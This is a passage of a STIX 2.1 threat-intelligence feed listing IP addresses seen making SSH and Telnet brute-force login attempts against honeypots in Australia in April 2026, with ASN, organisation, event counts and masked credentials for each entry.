      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bd64cd53-e032-45cc-aa31-dc2d3effd229",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f66e3b9b-6151-49ac-a278-2accd9e2af89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**************V, 3***********4, 3**********4, 4*******d, @******x.",
      "id": "indicator--fbbde6a7-eae2-4be7-a4fd-bc247cc00571",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '67.205.178.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--2ace7ff8-f51f-47ee-ad16-cb3fe10ba9ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '100.55.74.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:15:12.000Z",
      "valid_until": "2026-05-05T01:15:09.000Z"
    },
    {
      "created": "2026-04-03T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 58. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP.",
      "id": "indicator--40f411d5-f92b-4cac-87db-5e78713eed39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.179.172.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:15:12.000Z",
      "valid_until": "2026-05-05T01:15:09.000Z"
    },
    {
      "created": "2026-04-03T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--1b680889-4778-46f5-93be-3ed2e98c915a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:15:12.000Z",
      "valid_until": "2026-05-05T01:15:09.000Z"
    },
    {
      "created": "2026-04-03T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--41ab57ad-985c-4aff-a219-4ec207cda713",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.168.120.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:15:12.000Z",
      "valid_until": "2026-05-05T01:15:09.000Z"
    },
    {
      "created": "2026-04-03T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 22. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--433e4b18-2358-4607-b9eb-8b42ca10548d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.249.60.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:15:12.000Z",
      "valid_until": "2026-05-05T01:15:09.000Z"
    },
    {
      "created": "2026-04-03T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--e9b36824-a280-447c-9ebd-9e41a3431d6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.225.155.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:15:12.000Z",
      "valid_until": "2026-05-05T01:15:09.000Z"
    },
    {
      "created": "2026-04-03T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 33915. Organisation(s): Vodafone Libertel B.V..",
      "id": "indicator--dcb8ea76-a784-45b1-a3b2-4d75421b4b06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.210.5.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T01:15:12.000Z",
      "valid_until": "2026-05-05T01:15:09.000Z"
    },
    {
      "created": "2026-04-03T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ba04bd6f-52fe-4f10-a9e9-86a6c3fe09bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:15:11.000Z",
      "valid_until": "2026-05-05T02:15:09.000Z"
    },
    {
      "created": "2026-04-03T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue.",
      "id": "indicator--c51a28b9-dbae-47a3-91b6-afed2347144a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.163.122.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:15:11.000Z",
      "valid_until": "2026-05-05T02:15:09.000Z"
    },
    {
      "created": "2026-04-03T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--c64f1c8c-e176-403a-aaf2-c3f522e298ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.115.169.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:15:11.000Z",
      "valid_until": "2026-05-05T02:15:09.000Z"
    },
    {
      "created": "2026-04-03T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--1104699d-6c2b-4e12-9571-2bb20fecaa29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '82.165.49.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:15:11.000Z",
      "valid_until": "2026-05-05T02:15:09.000Z"
    },
    {
      "created": "2026-04-03T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--30a00dee-a7f4-416f-9590-29192c2c5e17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T02:15:11.000Z",
      "valid_until": "2026-05-05T02:15:09.000Z"
    },
    {
      "created": "2026-04-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): a********s.",
      "id": "indicator--bac56965-bd30-428b-bf7c-ea87f4f293e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.117.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:15:06.000Z",
      "valid_until": "2026-05-05T03:15:03.000Z"
    },
    {
      "created": "2026-04-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): !**********3.",
      "id": "indicator--b1cb6914-8f58-4ac5-8585-85f4f54c7206",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.59.94.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:15:06.000Z",
      "valid_until": "2026-05-05T03:15:03.000Z"
    },
    {
      "created": "2026-04-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138115. Organisation(s): PT Deneva. Usernames observed (masked): r**t. Passwords observed (masked): 8*******6.",
      "id": "indicator--905cd3ce-c984-4679-9daf-615444f6a51b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.155.157.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:15:06.000Z",
      "valid_until": "2026-05-05T03:15:03.000Z"
    },
    {
      "created": "2026-04-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t. Passwords observed (masked): U**********4, U*********!, U**********s, u******0.",
      "id": "indicator--eb371501-1dd6-48a3-893c-782f17046682",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:15:06.000Z",
      "valid_until": "2026-05-05T03:15:03.000Z"
    },
    {
      "created": "2026-04-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 210976. Organisation(s): Timeweb, LLP. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--1d218202-5030-4838-95df-f3812102c27a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.57.110.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:15:06.000Z",
      "valid_until": "2026-05-05T03:15:03.000Z"
    },
    {
      "created": "2026-04-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G***********************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--a7a767f1-8faf-4144-b2c0-7a70e6e62b15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.226.90.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:15:06.000Z",
      "valid_until": "2026-05-05T03:15:03.000Z"
    },
    {
      "created": "2026-04-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 210259. Organisation(s): LLC Applied Computational Technologies.",
      "id": "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:15:06.000Z",
      "valid_until": "2026-05-05T03:15:03.000Z"
    },
    {
      "created": "2026-04-03T03:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 35467. Organisation(s): DDFR IT Infra & Security B.V..",
      "id": "indicator--40e793ed-0247-4ca7-a65b-5444b38ea9f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.92.191.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:15:06.000Z",
      "valid_until": "2026-05-05T03:15:03.000Z"
    },
    {
      "created": "2026-04-03T03:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--04daf381-1ddd-45b9-ab07-7811aa229225",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T03:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.51.100.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T03:15:06.000Z",
      "valid_until": "2026-05-05T03:15:03.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 328847. Organisation(s): KoTDA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******a, 1******h, H*******6.",
      "id": "indicator--6b18c3d5-7b88-4185-adbb-67d00f9f094b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.210.149.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 673. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 206264. Organisation(s): Amarutu Technology Ltd. Usernames observed (masked): r**t, o****e, u**r, f***k, ***. Passwords observed (masked): 1****6, a****3, *, ***, 1******8.",
      "id": "indicator--1ae992db-9273-439d-a340-05f19107c374",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.28.89.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): !**********3, h*********7.",
      "id": "indicator--7942817b-aacd-43d7-9c13-f4ff1a0b7a42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.130.123.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--2559463f-38e5-4d7d-9cf0-6b369badafd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3b6bb912-23cf-47c6-858d-382e8dc97ac2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.130.168.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 312. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !**********3, 1*******a, 1******h.",
      "id": "indicator--bb68483d-7a6c-4cc9-9ca2-1fbd61d5c39c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.156.159.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******0, P***********!, W*********9.",
      "id": "indicator--472edd72-b7e7-436d-b617-6b97bc86fd44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.66.228.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********., A******0, P********7.",
      "id": "indicator--9b358dfd-86c3-4182-9db8-74ee70b5d2b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.204.74.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--4905b5ff-133e-4694-b94a-993beadc33aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.96.107.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MC. ASN(s): 6758. Organisation(s): Monaco Telecom S.A..",
      "id": "indicator--cee8ef6c-481c-414c-a248-c29c96f6c617",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '82.113.23.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T04:15:10.000Z",
      "valid_until": "2026-05-05T04:15:09.000Z"
    },
    {
      "created": "2026-04-03T05:15:05.000Z",
